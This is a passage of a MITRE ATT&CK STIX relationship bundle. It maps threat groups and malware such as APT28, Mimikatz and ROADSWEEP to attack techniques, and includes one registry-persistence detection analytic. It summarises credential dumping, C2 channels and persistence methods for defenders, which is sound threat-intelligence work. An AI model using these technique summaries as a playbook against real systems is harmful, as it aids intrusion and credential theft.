2018)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01c982c2-f610-443f-ae60-1b4a1f508f81","created":"2020-05-13T19:06:23.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.203Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used port 444 when sending data about the system from the client to the server.(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01d1922c-6900-4ed3-8ddf-bae4d06296b3","type":"relationship","created":"2020-03-18T18:37:06.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"modified":"2020-03-18T18:37:06.748Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) used Visual Basic Scripts (VBS) on victim machines.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01d9bce9-9ae9-4167-b279-0f0ee4e6b263","created":"2024-04-17T20:58:50.472Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T20:58:50.472Z","description":"[BUSHWALK](https://attack.mitre.org/software/S1118) can write malicious payloads sent through a web request’s command parameter.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--29a0bb87-1162-4c83-9834-2a98a876051b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01dc7e85-da23-4a0b-937e-a7a6e83c7f53","created":"2024-08-08T18:13:36.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:53:32.075Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can use embedded scripts to remove itself from the infected host.(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01dc8f01-b295-4b1f-b943-a347fdfebe95","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft 4657 APR 2017","description":"Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.","url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:44:32.676Z","description":"Monitor for changes made to windows registry keys or values. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nDetection of modification of the registry key values of Notify, Userinit, and Shell located in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKEY_LOCAL_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\. When a user logs on, the Registry key values of Notify, Userinit and Shell are used to load dedicated Windows component. Attackers may insert malicious payload following the legitimate value to launch a malicious payload.\n\nDetection of the modification of the registry key Common Startup located in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\ and HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\. When a user logs on, any files located in the Startup Folder are launched. Attackers may modify these folders with other files in order to evade detection set on these default folders. This detection focuses on EventIDs 4688 and 1 for process creation and EventID 4657 for the modification of the Registry Keys.\n\nAnalytic 1 - Registry Edit with Modification of Userinit, Shell or Notify\n\nsource=\"*WinEventLog:Security\" EventCode=\"4657\" (ObjectValueName=\"Userinit\" OR ObjectValueName=\"Shell\" OR ObjectValueName=\"Notify\") OR source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"13\" (TargetObject=\"*Userinit\" OR TargetObject=\"*Shell\" OR TargetObject=\"*Notify\")\n\nAnalytic 2 - Modification of Default Startup Folder in the Registry Key 'Common Startup'\n\n(source=\"*WinEventLog:Security\" EventCode=\"4657\" ObjectValueName=\"Common Startup\") OR (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"13\" TargetObject=\"*Common Startup\")","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2018-10-17T00:14:20.652Z","description":"[ifconfig](https://attack.mitre.org/software/S0101) can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.","relationship_type":"uses","source_ref":"tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01e1f755-740d-4744-ac81-4f6300b6c857","created":"2024-07-25T22:27:37.813Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"},{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:27:37.813Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) can utilize Microsoft OneDrive or Google Drive for command and control purposes.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01e22d76-e2ee-407a-834f-e3428df142ba","type":"relationship","created":"2021-07-27T13:30:20.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T13:30:20.915Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used the ntdsutil.exe utility to export the Active Directory database for credential access.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01e4bf9a-3d9c-4381-aa9c-cca73376c771","type":"relationship","created":"2019-01-29T17:59:44.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.157Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) hooks processes by leveraging its own IAT hooked functions.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01eb6d18-bb7b-4e4a-b133-60407f40773b","type":"relationship","created":"2019-01-30T20:01:45.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"source_name":"Securelist Denis April 2017","url":"https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/","description":"Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:39:21.916Z","description":"[Denis](https://attack.mitre.org/software/S0354) has used DNS tunneling for C2 communications.(Citation: Cybereason Oceanlotus May 2017)(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01ebd689-8233-409a-a12d-eafb2546f665","type":"relationship","created":"2020-06-02T18:46:58.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-15T15:17:10.123Z","description":"[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use [Systeminfo](https://attack.mitre.org/software/S0096) to identify system information.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01eddb48-5116-494c-9d1c-2ace79b28530","created":"2023-12-06T20:20:04.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-22T18:42:14.656Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used [Impacket](https://attack.mitre.org/software/S0357) for lateral movement via WMI.(Citation: Microsoft Ransomware as a Service)(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--01f4b583-4bd0-47eb-a108-c0bd7fd4d571","created":"2022-06-16T13:44:43.833Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used [Ping](https://attack.mitre.org/software/S0097) and `tracert` for network discovery.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-16T13:44:43.833Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01f98d14-77b9-439f-8b44-920fcaca2b2b","type":"relationship","created":"2019-01-29T19:55:48.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2019-07-26T16:10:42.964Z","description":"[Epic](https://attack.mitre.org/software/S0091) uses the tasklist /v command to obtain a list of processes.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02052736-4888-47b0-9eb4-4031a4061998","type":"relationship","created":"2019-01-30T17:43:28.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"},{"source_name":"Microsoft DUBNIUM June 2016","url":"https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/","description":"Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."}],"modified":"2021-04-05T20:52:47.633Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM June 2016) ","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02075984-9bec-465e-8a21-6717b9a1308b","type":"relationship","created":"2020-05-21T21:31:34.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.290Z","description":"[Pony](https://attack.mitre.org/software/S0453) has used several Windows functions for various purposes.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0209cfd7-95d3-4bc5-8f0e-72a70b245fe9","type":"relationship","created":"2020-03-19T23:37:02.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Deply Mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","url":"https://github.com/gentilkiwi/mimikatz"},{"source_name":"GitHub Mimikatz lsadump Module","description":"Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.","url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"},{"source_name":"Directory Services Internals DPAPI Backup Keys Oct 2015","description":"Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.","url":"https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:51:49.400Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DCSync/NetSync.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--02174a5c-9cda-4ddc-9952-1ff1b956d31e","created":"2022-05-04T22:31:47.978Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Chrommme](https://attack.mitre.org/software/S0667) can encrypt and store on disk collected data before exfiltration.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-04T22:31:47.978Z","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--021885d8-90a5-4d70-91de-869783cd57d3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T15:05:00.616Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used compromised credentials and a .NET tool to dump data from Microsoft Exchange mailboxes.(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--021b1f3f-a542-4ff7-a3b5-c9207c58b887","created":"2022-09-23T20:49:45.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:51:08.813Z","description":"During the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign, the [FunnyDream](https://attack.mitre.org/software/S1044) backdoor was used to execute multiple components and exfiltrate files.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"},{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 